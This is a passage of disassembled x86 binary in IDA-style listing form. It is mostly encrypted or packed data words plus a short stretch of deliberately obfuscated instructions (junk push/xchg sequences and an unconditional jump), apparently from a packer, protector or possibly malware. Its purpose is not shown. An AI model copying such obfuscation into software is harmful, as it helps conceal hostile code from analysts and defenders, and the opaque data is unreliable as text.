21DC7047h, 654C7CF2h, 574AB34Dh, 595EB58Dh dd 0DA6C281h, 0BD894B70h, 5E71B59h, 9F44FA81h, 850FFFFFh dd 0FFFFFF67h, 0F7B0B866h, 3BE9h, 0BD8B6000h, 5E72C35h dd 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h dd 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h, 100h dd 0FFD3820Fh, 0C361FFFFh, 11E8C88Bh, 0E7000000h, 66D1D577h dd 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 330DBD29h, 0F5B05E7h dd 282h, 81D68B00h, 5FC7C3h, 0BD8D3100h, 0BE05E71Ah, 17C6h dd 5FC28166h, 0E8038B73h, 5, 1660179Fh, 90CEBAC2h, 815915ADh dd 27CFD8E8h, 8113B26Ah, 0C960A1F0h, 0E0F08147h, 813BD79Ch dd 0A58D1EE1h, 0BA038929h, 0BB95133h, 4B01EB83h, 8C0F4B4Bh dd 6, 5019D89h, 0EE8105E7h, 1, 1B850Fh, 81660000h, 0E91CF5E2h dd 22h, 59CBB35Ch, 0F186BD9Dh, 692BB5C5h, 4979305Bh, 0FF8FE925h dd 193AFFFFh, 822CD7B5h, 1707BDA4h, 0ED558C98h, 7A5E75FDh dd 69A476F6h, 49BC56E6h, 201A35FDh, 2035ABFDh, 2022E8FDh dd 20B64EFDh, 207338FDh, 209116FDh, 20E0FFFDh, 2058DCFDh dd 2004CBFDh, 2035F6FDh, 2022CFFDh, 20A820FDh, 20738DFDh dd 208E62FDh, 20FF4FFDh, 20460BFDh, 201A5FFDh, 8A259DFDh dd 0A2229535h, 714A76D6h, 4BBD5CDEh, 7A5A5CF4h, 722775FDh dd 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h, 7B7874FCh dd 7ABC75FCh, 7A5E75FDh, 300276FDh, 30CA75A7h, 7ACB75A7h dd 7BE475FDh, 7BF374FCh, 0B29074FCh, 1ABC75F8h, 94F7F070h dd 0FFA67010h, 7F7A9F1Dh, 9474F070h, 0FF6C7010h, 7F1F9F5Dh dd 9484F070h, 0FF357010h, 7FB39F21h, 9472F070h, 0FF1E7010h dd 7F269F59h, 94F9F070h, 0FF7B7010h, 7F949F55h, 9606F070h dd 0FFD77010h, 7FC29F51h, 965BF070h, 0FF427010h, 7F089F4Dh dd 9610F070h, 0FFF07010h, 7F519F49h, 9763F070h, 0FFA67010h dd 7F7A9F3Dh, 97C2F070h, 0FF6C7010h, 7F1F9F45h, 9751F070h dd 0FF357010h, 7FB39F41h, 9712F070h, 0FF1E7010h, 7F269F3Dh dd 9792F070h, 0FF7B7010h, 7F949F2Dh, 972AF070h, 0FFD77010h dd 7FC29F29h, 972EF070h, 0FF427010h, 7F089F25h, 94F0F070h dd 0FFF07010h, 7F519F39h, 9467F070h, 0FFA67010h, 7F7A9F35h dd 941FF070h, 0FF6C7010h, 7F1F9F31h, 4B6CF076h, 0FF35701Ah dd 7FB39EE4h, 7662F076h, 0FF1E701Ah, 7F269EE0h, 0F1B0B69Ch dd 7AF29D11h, 0FB2375FDh, 97505817h, 3FD525F8h, 62ADFDF5h dd 22929816h, 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh dd 96F2987Ch, 0FFA07010h, 7FC29F62h, 9008C87Dh, 9CF7010h dd 75E4C5B4h, 0BAF9B54Bh, 0EF863589h, 7F519EE0h, 2B96FEBDh dd 7A2F7A45h, 67028AFDh, 0F7CE9816h, 970FD548h, 0FCC6F8F8h dd 7E4B9D50h, 6FCF75FDh, 7A5E7645h, 67BA8AFDh, 0F7929816h dd 9721D548h, 0FCD1F8F8h, 23228A50h, 0F787BC1Fh, 7F519F62h dd 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh, 63708A57h dd 0D1F79816h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh, 0EFD0DE9Bh dd 7F7A9EE4h, 9208DE9Bh, 7AE57795h, 72F3360Bh, 0EF866E88h dd 7F519EE4h, 7954C54Dh, 63BA8AADh, 20929816h, 7E2BF69Bh dd 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h, 0A0652FFDh dd 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh, 7B009D3Eh dd 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h, 0A77FA916h dd 8CCB75FCh, 0FED74BEh, 7B1A26D3h, 207975FFh, 72BD360Bh dd 0A0655488h, 59A56889h, 7094913Dh, 0BA07F5DFh, 85B5FF4Dh dd 97196C68h, 5F1F2FF8h, 71DA51FDh, 0B9F5133Fh, 9285E94Dh dd 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h, 5791DEFDh dd 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh, 1C4A1345h dd 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h, 0E7EE75FDh dd 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh, 0FFA74BEh dd 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh, 84487DF9h, 7A97AA15h dd 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7F949EE0h, 9058C070h dd 8A5D7010h, 0D02C7F51h, 918EE002h, 92087010h, 7AE574E5h dd 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh, 0D02C7FA5h dd 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh, 6B91DE9Bh dd 0CA438A03h, 22EEDFA7h, 929FB657h, 923C2257h, 7ACB750Ch dd 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h, 7A5E7505h dd 79252D4Dh, 0FF69B657h, 7F269F6Bh, 9073C87Dh, 0FF37010h dd 72FCF8ECh, 2AB99816h, 7A5C6115h, 781B9DFDh, 1A2775FDh dd 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch, 7F519F6Bh dd 90C8C87Dh, 0F2F7010h, 7212F8F1h, 2ACE9816h, 7AE4DE15h dd 7E4AB6FDh, 857975FDh, 97576868h, 1FC3F8F8h, 0F02A9812h dd 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh, 0F9BB5E3Ah dd 78357115h, 63CB8A3Eh, 0CE2A9816h, 0E96514Ah, 0CA74C1FFh dd 924E13F2h, 7AF275C9h, 7A279DAEh, 0F0E675FDh, 79BEB5FEh dd 7825B5F1h, 0EF68B657h, 7F269EE4h, 0FAEA917Dh, 7542F539h dd 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h, 0B995FCF9h dd 7ACB7345h, 67708AFDh, 0F7F79816h, 97938960h, 39A0F8F8h dd 7A4ECD3Eh, 0EFD075FDh, 7F7A9EE0h, 0F1CEB57Eh, 0EF1A8935h dd 7F1F9EE4h, 0B98E9757h, 8543BE15h, 7B1DFF02h, 8E5A72D9h dd 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h, 86BDF611h dd 7ABC9D9Dh, 0FB0475FDh, 97C00017h, 86EAFCF8h, 91D3CF7Dh dd 75E57010h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh, 7FB39EE0h dd 5BADFCBDh, 0F1929816h, 3379F835h, 85E0980Dh, 97196C6Fh dd 3C7FFDF8h, 6D04801Fh, 795E75FDh, 97C4547Fh, 0E01A35F8h dd 7F2685C0h, 0F3E1B67Eh, 644B22FEh, 797975FDh, 97575477h dd 51ECF8F8h, 892A980Dh, 722F2B59h, 85CB75FDh, 970E686Fh dd 7E0AF6F8h, 7C718589h, 7ABC7244h, 4B5A7DFDh, 0BBF7C3F2h dd 742E761Eh, 72CB75FDh, 765C44E1h, 72F275FDh, 61C044F9h dd 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h, 0F3348A01h dd 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh, 8E7A1102h dd 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h, 7AF2B6ADh dd 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h, 90162FFDh dd 7F2685A1h, 91C0CF70h, 0F797010h, 7A71CCF5h, 0DE4F75FDh dd 7E9CBC9Ch, 0E7A226FDh, 7F7A9ED8h, 7BD3497Dh, 83BE7188h dd 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh, 97DFE017h dd 5F25F8F8h, 0F1CE9816h dd 725C7D80h, 89F275FDh, 0B8B01459h, 0F7DC75F9h, 97B55040h dd 0C3EF46F8h, 7A9775F5h, 0B9AADF0Eh, 5F58F89Dh, 0FBF79816h dd 7B7874C2h, 0FBB000FCh, 7B5F7182h, 795A74FCh, 82969E04h dd 0F7ABB69Ch, 970E5040h, 7AF3CDF8h, 72C075FDh, 89BC75FDh dd 0F19D1457h, 0F7EFFE3Dh, 977C4778h, 8BD08AF8h, 0E58D8DCAh dd 0F05EDF1h, 8D89C3B7h, 5E72315h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0B5C35242h, 0FB9CBBEAh, 0B985C7FCh dd 5005E708h, 6A000063h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 88B0C355h, 97B262A6h dd 8961AEAAh, 0E704E1BDh, 9985C705h, 5E70Ch, 89000000h dd 0E7095DB5h, 5B5FF05h, 6A05E716h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0BD2C350h dd 0D432CF40h, 0CE9517Eh, 64000000h, 8B3E4BC9h, 60E5161Dh dd 5EB194D4h, 32CD95FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0E624A6C3h, 4B97E92Dh dd 6AC18B66h, 1D95FF00h, 8B05E71Ah, 0CF5EEBC0h, 1B449DD6h dd 0E3300524h, 1D9AD6F2h, 2124372Fh, 5BBB92Ah, 84DA462Dh dd 72D06081h, 0E138F886h, 0EDC6C929h, 0A152BE93h, 1BD4A5DAh dd 59A90E94h, 86CF5413h, 0ACFF7C73h, 31F78CB5h, 872EA52h dd 0E751A649h, 8E40C4C2h, 0A06A5193h, 72C9DD8Ah, 3AC63CA5h dd 39C93282h, 0AB0340AFh, 9DE91Dh, 111F0000h, 0E1C2B25h dd 2E1B2028h, 3215222Eh, 29113E12h, 0DF963F11h, 91BF9F8Bh dd 91BF9F8Ah, 0AFA1818Ah, 0AAA68880h, 866A4F07h, 9DC69810h dd 7B52386Eh, 0AFBA075Bh, 21F0587Ch, 0C375E252h, 0B859C94Bh dd 609696C3h, 3579C3FAh, 40C33310h, 13h, 0F6EB28Ah, 449118C1h dd 7AEEA972h, 0F934FA12h, 526F23E1h, 3D0A5066h, 88F7CBEBh dd 105FA383h, 0E2CD1125h, 4FB886B4h, 0D8277B43h, 0A691EDF1h dd 327D4179h, 2E43A18h, 0EDF24D68h, 8A95E905h, 0D16CFFF9h dd 0A967A53Fh, 0B8774B10h, 5EDF2D7h, 4EBC503h, 4C6066E7h dd 0E61E9h, 0F4EF6800h, 70E905EDh, 68FFF98Ah, 5EDF5CDh dd 0F98A66E9h, 0F69D68FFh, 5CE905EDh, 68FFF98Ah, 5EDF746h dd 0F98A52E9h, 0FA9868FFh, 48E905EDh, 68FFF98Ah, 5EDFEB1h dd 0F98A3EE9h, 0FFA968FFh, 34E905EDh, 10FFF98Ah, 113E1224h dd 6C3B1535h, 6E351B23h, 6A311F3Fh, 0E3321E3Ch, 0A4929CD4h dd 0A4909FA4h, 0AE8E9FA4h, 93B395A2h, 7F5A0CBDh, 0C6981189h dd 522F9B8Ah, 3F085664h, 6502CEEEh, 0E9CC8687h, 0C95D0494h dd 877A4091h, 0C692C03Dh, 0C6D39B4Bh, 0C692C072h, 92C52071h dd 6874ECF4h, 295061F2h, 12000000h, 0A72FEE02h, 5D15AD12h dd 7159AAC9h, 14793139h, 0D689956h, 6DF44035h, 0C982C692h dd 0FF49DBC1h, 77B61F1h, 4F000000h, 9563Eh, 7A526800h dd 0EF390654h, 157022C6h, 8FD8DE0Ch, 4746AA41h, 54DAA0Fh dd 794AC95Ch, 0BA92BD25h, 4F05994h, 72C69DE0h, 0ABF43159h dd 0B4634262h, 61F1881Ch, 5228h, 8E99A600h, 0AED854AEh dd 0B76DB67h, 0EE02BE28h, 0AD98A72Fh, 397455A9h, 40BDF5BDh dd 72DE1DAFh, 79D2B7F6h, 76C95CF8h, 8882AD25h, 0C072C6D3h dd 2071C692h, 43A28BD7h, 0C03ABA7Fh, 9F4CC692h, 3A61CEFBh dd 8EED3C02h, 0F26C891Bh, 0CFBB61h, 350F0000h, 0DE1D3D6Ah dd 0DDF5D9F3h, 0E2388015h, 0EA3BC375h, 5E48B78Bh, 0EDB22278h dd 983D95A5h, 0C375E210h, 8CE3C213h, 1B64BA9Ch, 9E232D31h dd 0C375E746h, 0F0E9BCF4h, 0D2806442h, 4A6CBC93h, 4F6FB986h dd 0F5985473h, 388015DDh, 0C2C37549h, 754901F7h, 603102C3h dd 49E54B6Eh, 0ADFEC375h, 4055615Ch, 0C95C5DAFh, 0A955FBC4h dd 8DC03891h, 0B9938F49h, 17604995h, 4243A9D4h, 0CFEBAD08h dd 0BF88CCB8h, 381E0817h, 3F1F0B10h, 22413642h, 7D5EFA70h dd 0BB1h, 894777BDh, 864A68A2h, 804870B9h, 9C4C90BBh, 9DB38BB7h dd 0E1298130h, 0FD2877D9h, 0E32877D9h, 0E6260DC3h, 29B908C0h dd 9816248Ch, 9ACC3FC6h, 0FA566452h, 0F55B7BADh, 2FEE02D5h dd 0FEB912A7h, 65B6C95Ch, 0A5E64919h, 5EAFAF9Bh, 0FE3ABA1Fh dd 9F4CC692h, 727F11FBh, 0CF4D61F2h, 19000000h, 6547A52h dd 0F5C9F139h, 75E7D400h, 270701C3h, 0EFDA6529h, 67A18CEFh dd 1129113Eh, 0B107FCCDh, 0B2C375E7h, 91BE1061h, 685695B5h dd 0EAFCA14Fh, 5CF32ECFh, 507A4BC9h, 35DD0AD8h, 0BEFDD7E9h dd 5637B5B2h, 0A4F6597Ch, 320ACCB8h, 1DAC690Fh, 0E754979Eh dd 4C743C96h, 0A5168769h, 0EFCA9CC8h, 0C8A51619h, 0BDF8C91Ah dd 5F4C6856h, 15222E7Fh, 2E702D2Dh, 36702248h, 0AD3411Ah dd 919F0000h, 8E9CABA5h, 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h dd 5F16BF91h, 113F1F0Bh, 113F1F0Ah, 2F21010Ah, 2A260800h dd 6EACF87h, 1DC69817h, 6A35B8EEh, 0CC230220h, 40288DC2h dd 43C375E2h, 2F2172h, 0CD113808h, 74F98F1h, 0EDC80E38h dd 7A52A367h, 0EF390654h, 91B887CFh, 0DD18714Dh, 0BEDCBE17h dd 3E90A891h, 75E2159Bh, 9EDD2EC3h, 46080DE3h, 5CEA8673h dd 0FC250AC9h, 40AFFEDCh, 0B409644Ah, 0CFDC636Bh, 77BA93EFh dd 0B9347757h, 0DC1BFD18h, 0EA200F68h, 82D3F3DAh, 0CDD01CA3h dd 290F3085h, 0BB8466F1h, 0E1A44867h, 2C9421E9h, 2776E685h dd 0FADF97D6h, 7CF33B97h, 64CB83ECh, 61CE0224h, 229A0727h dd 0CE1FCF36h, 0A036972h, 0C1CF0000h, 0DECC5BF5h, 0DECB50F8h dd 0C2C552FEh, 0D9C16EE2h, 2F466FE1h, 0C10F4F7Bh, 0C10F4F7Ah dd 0DF71517Ah, 0DA765870h, 56DAFFD7h, 6DC69814h, 7A52483Eh dd 83690654h, 12E633FBh, 11C375E2h, 0E29D63C0h, 4596C375h dd 3203236Ah, 0F0783D98h, 2C7DC95Ch, 90B095BAh, 0E28113Eh dd 8FEE3F1Fh, 0EFD1FA41h, 6B4298BCh, 0D33C1A04h, 12E633FBh dd 8FC692ECh, 667BB83h, 390964B5h, 92ECFC44h, 0FC11E3C6h dd 18D4C692h, 5F785D75h, 0EDCCBBF9h, 0C0289025h, 0DA2BC8BBh dd 85D92A9Bh, 0CF4C92BAh, 701F76E1h, 5A2CAF8Bh, 14000009h dd 15222E28h, 103F1131h, 12391727h, 6E351B3Bh, 0EF361A20h dd 0A09680D8h, 0A09483A8h, 0AA8A83A8h, 0AF8F99A6h, 734600A1h dd 0C698158Dh, 2239786h, 0FFA72FEEh, 40496750h, 6BCC2F78h dd 0C95CE72Ah, 0A60AAF27h, 0BDC692E6h, 0E44B036Ch, 5DA580A6h dd 361A3812h, 0C11D3D69h, 24447A6h, 0FABEB92Ah, 77B61B90h dd 3C1E5A7Fh, 0D46CC692h, 310AC641h, 0CBB8FBCAh, 4B10A4FAh dd 0F0A9FD4Fh, 8317A4B8h, 8C69DF6Dh, 0C6928A24h, 0B39DEE3Fh dd 928A966Eh, 0F99A53C6h, 5B1129D1h, 34AD6A4Ah, 7D0DF3C6h dd 3506C692h, 7C2089E4h, 8EC6927Dh, 8DF1BAB6h, 70B34883h dd 0B19EB283h, 9469B595h, 0C6923F58h, 0D77515C6h, 0FFDFC9F7h dd 0D7794AA3h, 0B0054248h, 0C6923FC8h, 55A9FACBh, 8870450Dh dd 8BC6923Fh, 0F69E7BBAh, 28C6923Eh, 93AB97B8h, 0AC3F7E4Fh dd 0AE8C9E2Ah, 0EFCAF2A2h, 0C6923C19h, 0D7EAC91Ah, 0F25D7516h dd 33BBFAD8h, 923C11E6h, 0F9C516C6h, 30994704h, 0B787B232h dd 2B131C6Bh, 9E38A3D7h, 6D6D3E2Ch, 9048ED67h, 198DFEDh dd 2EB0000h, 12A72FEEh, 0C95CF14Dh, 0C0E4270Ah, 4E5C93FAh dd 0E8B71F68h, 68419DA1h, 0AEFE410Dh, 0D1FB4088h, 86CCB18Dh dd 0C34F5B80h, 6AA20E88h dd 6DBF8444h, 46E80D40h, 99EAFE74h, 1A206E31h, 21C8E7DBh dd 4641EE62h, 0D7C36C66h, 73B29BE7h, 0C6E8200Fh, 0C2EB3D0Ah dd 8C14B617h, 35095A5Fh, 2D37AA40h, 6C6857BBh, 0C8F9210Eh dd 0E87120EEh, 0D72B74CAh, 0D5596168h, 0F557731Ah, 0F65DF3D3h dd 68DEF9D6h, 484D807h, 21C8E73Bh, 2C14216Bh, 5A403A0Bh dd 7A1AD522h, 0C688D92Ah, 0CDD60DF3h, 0A947FF3Ch, 0A5779C2Eh dd 176B4B43h, 3586E536h, 0BCF3D3FAh, 17764472h, 0F1C48CC6h dd 3CCDE40Fh, 74F83B04h, 0F3DBE32Fh, 175A7CACh, 0FFCE2C28h dd 0C42542BCh, 422A8FC7h, 593CCDE4h, 331CC008h, 9BF63519h dd 6651ADB1h, 0B83C0238h, 3315B7D3h, 0AA94BB13h, 3C7F4EACh dd 1D216B30h, 46B2FDB5h, 7DF46B0Bh, 0FC3F0828h, 1904E582h dd 8ADC2D0Dh, 5E7EA5h, 3580CA29h, 3CCD305Bh, 7AC10F58h dd 143A1252h, 8388F7CBh, 9F475FA3h, 79B086B0h, 0BE310C2Ch dd 0A0808818h, 127B4777h, 0E8200FC1h, 20E8F8C6h, 0CD302395h dd 94D7203Ch, 4B0300E9h, 0AFEDB83h, 93CCD30h, 881CFD38h dd 0A33CCD30h, 0A98F845Bh, 0B0818ACDh, 892CD498h, 3CCDC727h dd 0C708F0C5h, 3A0B3CCDh, 0F7D11869h, 43A28BD7h, 0C31F3F6Ch dd 0C4645A4h, 3052AB34h, 0E8CBF971h, 8B71D7E2h, 21723CCDh dd 7D357B2Fh, 57BD7FA0h, 24277F66h, 0F62291B0h, 34147BBAh dd 0AB413E12h, 0A7F0D6F4h, 17618A2Fh, 2D7EC95Ch, 6752FDA5h dd 172E9257h, 5CACC692h, 5FBF53BBh, 0BEFDCE9Fh, 2226B34h dd 42461CEh, 714DEA42h, 5FBB8596h, 0C6143A10h, 1DBA84E7h dd 0AC84CECFh, 8BC7AA88h, 0F2F83BAEh, 0BB806227h, 0E83607CCh dd 0BB8CAF15h, 87866AC8h, 69A9EACFh, 0E75FC292h, 13F2794Bh dd 71C22167h, 0BBEDDA20h, 31C2E69Bh, 0B28E7607h, 60829h dd 0F8DECA00h, 0E3C3CB50h, 0E1D9C66Dh, 0E5C9C06Fh, 0E4D2DC6Bh dd 762A5964h, 71DE7248h, 71DE724Ah, 4FD47454h, 0D2D7795Dh dd 185325F0h, 2550C698h, 0A80D3575h, 0C375E2C0h, 0E2299F3Ah dd 0D92AC375h, 0C1FC3F08h, 734B742Bh, 21F4DE2Fh, 0C375E25Fh dd 903A0B54h, 674747E8h, 75E23E82h, 89E435C3h, 0EA73E8CDh dd 0C189C95Ch, 92EA0CF4h, 9C3607C6h, 92EAB739h, 634CC6h dd 142C7CB3h, 0F9C11234h, 3A36482h, 606ABBC2h, 8856CBC8h dd 310C9EBAh, 0E1876CD1h, 0A02C692h, 0BFE9D624h, 84C7439Fh dd 0F992B802h, 8759CBD1h, 0E46B61F2h, 7F000000h, 75E26CD8h dd 250087C3h, 0EACADDE3h, 0E464B594h, 0AB23E00Fh, 75E2A20Eh dd 6E60B1C3h, 41C3F6D6h, 2E96E29Fh, 6CAEF0CAh, 3F036202h dd 5AF6D8F0h, 54D4E9Dh, 0B3F0785Dh, 0A2F3C375h, 0B33B8D28h dd 0EF38C375h, 15F3C68Ch, 0E7C375B3h, 0B964FC4Fh, 3F1B643Ah dd 1057AF60h, 35053276h, 74B780E9h, 1F68B687h, 0F345500Dh dd 0F0C3751Dh, 0C47C56A7h, 6306E655h, 0D61A596Bh, 9931D219h dd 7589983Ch, 480253C3h, 31971EF0h, 714CF1F0h, 26C8AC11h dd 5E16C376h, 0A7ADB0E6h, 6746035Eh, 99915274h, 72C60E9Fh dd 5120E5EBh, 4B993204h, 2EBDC023h, 0C450656Dh, 8FC375BBh dd 7D4569A0h, 3792493Bh, 1A4C9DCBh, 15F14752h, 4F7BC375h dd 7B94F6CDh, 0C688D9AAh, 75C50DF3h, 0F63506C3h, 0FD417Ah dd 2E90000h, 12A72FEEh, 0C95CE701h, 575B7F37h, 7108E3F2h dd 5E704132h, 8C5457E6h, 1D6C2A62h, 0F0D92515h, 37624DB5h dd 0DA32C907h, 7AA48BC3h, 4055615Ch, 0C692EDFCh, 0C5E5210Eh dd 0E05590F9h, 341B4B97h, 9CED3115h, 0ED7DF8A1h, 0BDE8C692h dd 4F7A4599h, 97DA330Fh, 0D14D91B5h, 9CB2FC9Ah, 24735CD4h dd 7BE831C8h, 0EC321434h, 8B0F5E9Dh, 784CE65Eh, 11B1B5FBh dd 28CD47D2h, 7CFF61F2h, 0CB000000h, 3236A35h, 0F08FEE3Fh dd 0EF516418h, 0E4C375E2h, 0B5004A9Bh, 0C375E2C3h, 5CABF7C0h dd 73537B51h, 0B7512E22h, 0A3C1D4FEh, 31C375E3h, 0E3C4AC09h dd 8EDFC375h, 0C58DDEAFh, 6112EC6Dh, 8DE82D74h, 0AE74C0B5h dd 3AAAC376h, 996F4A72h, 9AC3752Eh, 2E04EC49h, 0CE1FC375h dd 1EDAFCEFh, 3A9F37EEh, 0C3752F6Ah, 13E530F8h, 10C3752Eh dd 0C617E4C7h, 0EEE2B48Ch, 3681EEF5h, 52A979F7h, 5E06547Ah dd 655FF2E6h, 0B9F4EC50h, 0FC6C725Ah, 0A224E907h, 0AE64258Ah dd 7D559E57h, 75CBD058h, 0A382D3C3h, 0D9B18E2Bh, 55A6C95Ch dd 0D6E4D27Dh, 6ED6AB97h, 18C692D5h, 8D925773h, 564BA9Ah dd 53E17326h, 71E361F2h, 0FB000000h, 0DD12E633h, 0C011C692h dd 7D35F5E5h, 0FEDCB50h, 72FFC7ABh, 65094BD7h, 8D631E5Dh dd 0F17F4481h, 0C51671C6h, 4C7AC58Dh, 1CD9300Eh, 0C375AA94h dd 0AAFD4356h, 0A5F6C375h, 22A88BD4h, 5CB63697h, 9CE233C9h dd 92865BD9h, 587E2DC6h, 0F22AE070h, 40551D61h, 0C69292F8h dd 92C1B702h, 0F1C2C692h, 2F94D720h, 11Bh, 0A9AD98A7h dd 0A1397455h, 6547A52h, 9A28E65Eh, 0B2B9221Fh, 0C6CBBD18h dd 0FFC8C375h, 516951BCh, 2CED450Dh, 3BC62153h, 7058B7F6h dd 0E527106Eh, 67A689C1h, 4B159B3Eh, 0DD2EC375h, 1C5FAE8Ch dd 60142CD0h, 595A6F1Bh, 180845D3h, 2576AB58h, 7CF361C6h dd 2666C375h, 2963C800h, 529E3905h, 1B5666ADh, 0F9D02E2Eh dd 0B67E26A8h, 75429D63h, 0E04596C3h, 0C3754218h, 0E3EBCA1Bh dd 5C515DD6h, 9E3BE3C9h, 0C6924D2Ah, 23F6D829h, 0C6924D5Dh dd 55260556h, 0ABFD4204h, 0CFA4A88Bh, 0A26A7C21h, 0FADF969Dh dd 0C6924D76h, 8FD33C0Dh, 3F8114BEh, 34C6924Dh, 0F02F88EBh dd 0E1CCB822h, 2A113E90h, 0B49BD312h, 0B79C4C8Ah, 0F4CEB38Bh dd 0BC7022AEh, 1EF37A4h, 0B5E30000h, 0AAE04F81h, 0B2FF4484h dd 0AEF9468Ah, 0CDF5428Eh, 4372438Dh, 351B236Fh, 351B236Eh dd 331D3D6Eh, 0CE022464h, 7ACEEBFBh, 79C6981Ch, 64525C0Ah dd 7BADFA56h, 11624245h, 0FC9681B9h, 0FF98B74Fh, 290B0BCh dd 371731EEh, 0C9B882EBh, 0B617EA71h, 0C28ADC2Dh, 83143C6Ah dd 0EBCA6012h, 5C08AD0Eh, 25794AC9h, 97A792BDh, 0A603624Bh dd 0C69DF0DEh, 0FDE7E3A8h, 61F17C63h, 0D961h, 7A526500h dd 0F1390654h, 0D400F5C9h, 1C375E7h, 0F57B5E07h, 8EC375E7h dd 57FC6CBDh, 720D5175h, 0DC85817Eh, 75E777F9h, 0D2230CC3h dd 7A6CBD8Ch, 5CF4D65Fh, 9EB283C9h, 400A0BE1h, 0B89E4B75h dd 0BDEEB1CCh, 3EE9ED94h, 2E7F1D55h, 433580D0h, 40C8A5F7h dd 76C72677h, 9582AD25h, 230C46A5h, 2209C7F7h, 961ABFF4h dd 0ADC8A5F7h, 3E8E735Ch, 0EA70216Ah, 0F70D4Eh, 0CDFB0000h dd 0D2F84789h, 0CAF75C8Ch, 0D6F15EF2h, 0C5CD5AF6h, 3B4A5BF5h dd 0CD033B67h, 0CD033B66h, 0CB052566h, 0C60A2C7Ch, 62D6E3E3h dd 61C6981Dh, 64524432h, 7BADFA56h, 307F4145h, 86D73604h dd 4E0051B8h, 0B886A6E1h, 2A101E51h, 0BAB6F5D4h, 0FD27B28Ah dd 5A500104h, 759D897Fh, 68B98AC3h, 7A525D0Dh, 0EF390654h dd 866A01CFh, 8011438Eh, 257663C8h, 0A98982ADh, 0BD397455h dd 636BE118h, 6DB182C9h, 27A6CD65h, 0CBF79BA7h, 0A38385E8h dd 0BE8686ADh, 5575516Fh, 86D72009h, 0A98C5B8h, 484308EAh dd 0FF291664h, 7CEF83DFh, 4E19D05Ah, 8ED0F848h, 0F3D3F542h dd 140F27AFh, 0DF5791ADh, 0E64A6F67h, 0FD8C09F2h, 2B6251ACh dd 0DFC8370Bh, 2643A3FFh, 68841F07h, 0E2DAC128h, 5773189Ch dd 7A1CCFEBh, 70D8FE2Eh, 0D6C3E12Bh, 60B198E6h, 3411Ah dd 23E90000h, 5066526Fh dd 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh, 7B434FB8h dd 0EDF1D827h, 4179A691h, 3A18327Dh db 0E4h, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push 5EDF342h mov eax, [esp] add esp, 4 push 10E6h mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx mov ecx, eax mov [ebx+8], ecx mov ecx, [esp] add esp, 4 mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_545FF7 ; --------------------------------------------------------------------------- dw 3583h dd 0AFF2A37h, 0C5B81243h, 305EE00h, 96E0FFC5h, 0FD014238h dd 2A03DDC6h, 0D36133Ah, 196BA47Ah, 0A670D959h, 0E11F8942h dd 4F36C78Ah, 1F068173h, 0AF334BD9h, 163F7699h, 77A0AF0h dd 0E64E65BCh, 9E050C08h, 0C36641B5h, 3726F390h, 0D8401E95h dd 447CD4A6h, 0F4742285h, 0C448C71h, 0DA63C099h, 222D6507h dd 0E84312A5h, 0Ah, 0F07D7EBDh, 88A67EC4h, 0F5BB14Ch, 686h dd 0C8E18100h, 81289702h, 666AC3h, 8E900h, 139C0000h, 0D673A089h dd 0B88B99h, 0F000000h, 348BFEBFh, 6E903h, 0E9A50000h dd 0AAAD4FDFh, 72A5F681h, 81661725h, 81806FEAh, 7CCC4F6h dd 0D2B70F6Dh, 181DF681h, 83BF2E00h, 890BB191h, 0FF90334h dd 0E883FEBFh, 0C9B70F01h, 81484848h, 0FF9A58F8h, 1C850FFFh dd 81000000h, 0C86D92D7h, 40E90Ch, 5E000000h, 218AAC5Eh dd 0F9981A50h, 9314D0D2h, 0E9A7F9B7h, 14h, 6ABEDBD0h, 2B70CCA7h dd 14E77DAh, 0F745EDF8h, 2994AC70h, 0FFFF7DE9h, 0BF00F3FFh dd 0B177B368h, 0CE62AA03h, 9174EF5h, 27E9EB62h, 50000001h dd 0AC73765Bh, 154EEFh, 41000000h, 